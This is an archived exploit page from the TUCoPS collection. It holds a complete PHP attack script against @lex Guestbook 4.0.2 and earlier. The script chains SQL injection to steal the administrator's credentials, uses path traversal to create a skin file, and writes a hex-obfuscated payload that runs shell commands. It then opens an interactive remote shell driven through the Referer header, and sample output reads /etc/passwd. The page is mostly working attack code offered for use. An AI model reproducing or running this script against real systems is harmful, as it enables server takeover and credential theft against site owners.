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TUCoPS :: Web :: Guestbooks :: c07-1703.htm

@lex Guestbook <= 4.0.2 Remote Command Execution Exploit



@lex Guestbook <= 4.0.2 Remote Command Execution Exploit
@lex Guestbook <= 4.0.2 Remote Command Execution Exploit



#!/usr/bin/php
 @lex Guestbook <= 4.0.2 Remote Command Execution Exploit
 | header> ======================================================= | status> Retrieving the administrator password
 | sploit> AdminUsername::root
 | sploit> AdminPassword::toor
 | status> Trying to get logged in
 | sploit> Done
 | status> Trying to add a skin
 | sploit> Done
 | status> Writing the malicious skin
 | $shell> whoami
 | darkfig
 |
 | $shell> cat /etc/passwd ...
 | 
/*/

if($argc < 2)
{
	print "\n---------------------------------------------------------";
	print "\nAffected.scr..: @lex Guestbook <= 4.0.2"; // last version 
	print "\nPoc.ID........: 20070107";
	print "\nType..........: PHP Code Execution";
	print "\nRisk.level....: High";
print "\nSrc.download..: www.alexphpteam.com"; 
	print "\nPoc.link......: acid-root.new.fr/poc/20070107.txt";
	print "\nCredits.......: DarkFig";
	print "\n---------------------------------------------------------";
	print "\nUsage.........: php xpl.php ";
	print "\nProxyOptions..:  ";
print "\nExample.......: php xpl.php http://victim.com/@lexgb/"; 
	print "\n---------------------------------------------------------\n";
	exit(1);
}

$url=$argv[1];
$prs=$argv[2];
$pra=$argv[3];

$xpl = new phpsploit();
$xpl->agent("Sploitzilla");
if(!empty($prs)) $xpl->proxy($prs);
if(!empty($pra)) $xpl->proxyauth($pra);

/*/
 |
 | index.php
 | ======== | ... include($chem_absolu."include/livre_include.".$alex_livre_ext);
 |
 | 
 | livre_include.php -> Local File Inclusion
 | ================ | ... set_magic_quotes_runtime(0); // thx =)
 | ... if (isset($_GET['lang']) && $_GET['lang'] && file_exists($chem_absolu."languages/".$_GET['lang'].".".$alex_livre_ext))
 | $f_language = str_replace("..","",$_GET['lang']); // We can't use .... because of file_exists() verification but ... =]
 | include($chem_absolu."languages/".$f_language.".".$alex_livre_ext);
 | 
 |
 |  index.php -> SQL Injection
 |  ======== |  ... sql_select_query("msg", "alex_livre_txt_lang", "WHERE lang='".$f_language."' and `type`='titre'"); 
 |  // "SELECT msg FROM `alex_livre_txt_lang` WHERE lang='$f_language' and type=`titre`
 | 
/*/

$sql = "index.php?lang=english.php%00'%20union%20select%20".
       "concat('XPLLogin:',(select%20login%20from%20alex_livr".
       "e_users%20LIMIT%201),'XPLPass:',(select%20pass%20from".
       "%20alex_livre_users%20LIMIT%201))/*";
       
print "\nheader> @lex Guestbook <= 4.0.2 Remote Command Execution Exploit";
print "\nheader> ========================================================";
print "\nstatus> Retrieving the administrator password";
$xpl->get($url.$sql);

if(preg_match('#
XPLLogin:(.*)XPLPass:(.*)
#',$xpl->getcontent(),$count)) print "\nsploit> AdminUsername::".$count[1]."\nsploit> AdminPassword::".$count[2]; else die("\nsploit> Exploit failed"); print "\nstatus> Trying to get logged in"; $xpl->post($url."admin/index.php","f_login=".$count[1]."&f_pass=".$count[2]."&f_identif=Identification"); if(preg_match("#f_cadres\.php\?f_sid=([a-z0-9]{32})#",$xpl->getheader(),$sid)) print "\nsploit> Done"; else die("\nsploit> Exploit failed"); print "\nstatus> Trying to add a skin"; // skins.php ... @mkdir($chem_absolu."templates/skins/".$_POST['aj_skin']."/", 0755) $xpl->post($url."admin/skins.php?f_sid=".$sid[1],"aj_skin=../../languages/d4h4x0rskin&ajouter=Ajouter"); if(!preg_match('#alert\("ERREUR\n#',$xpl->getcontent())) print "\nsploit> Done"; else die("\nsploit> Exploit failed"); $scode = "chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d).". "chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).". "chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).". "chr(0x73).chr(0x28).chr(0x24).chr(0x5f).chr(0x53).chr(0x45).". "chr(0x52).chr(0x56).chr(0x45).chr(0x52).chr(0x5b).chr(0x27).". "chr(0x48).chr(0x54).chr(0x54).chr(0x50).chr(0x5f).chr(0x52).". "chr(0x45).chr(0x46).chr(0x45).chr(0x52).chr(0x45).chr(0x52).". "chr(0x27).chr(0x5d).chr(0x29).chr(0x29).chr(0x3b)"; $data = "skin_edit=skins.php%3Ff_sid%3D".$sid[1]."%26skin_edit". "%3D../../languages/d4h4x0rskin&alex_livre= "val($scode);exit(0);\r\n?>&add_message=&nb_message_pa". "ge=&list_pages=&corps_messages=&space=&assembly=&enre". "gistrer=Enregistrer"; print "\nstatus> Writing the malicious skin\n\$shell> "; // skins.php ... write($chem_absolu."templates/skins/".$_GET['skin_edit']."/".$tab_template_guestbook[$i]) $xpl->post($url."admin/skins.php?skin_edit=../../languages/d4h4x0rskin&f_sid=".$sid[1],$data); while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN))))) { $xpl->addheader("Referer",$cmd); $xpl->get($url."index.php?lang=d4h4x0rskin/alex_livre.css%00"); print $xpl->getcontent(); print "\n\$shell> "; }


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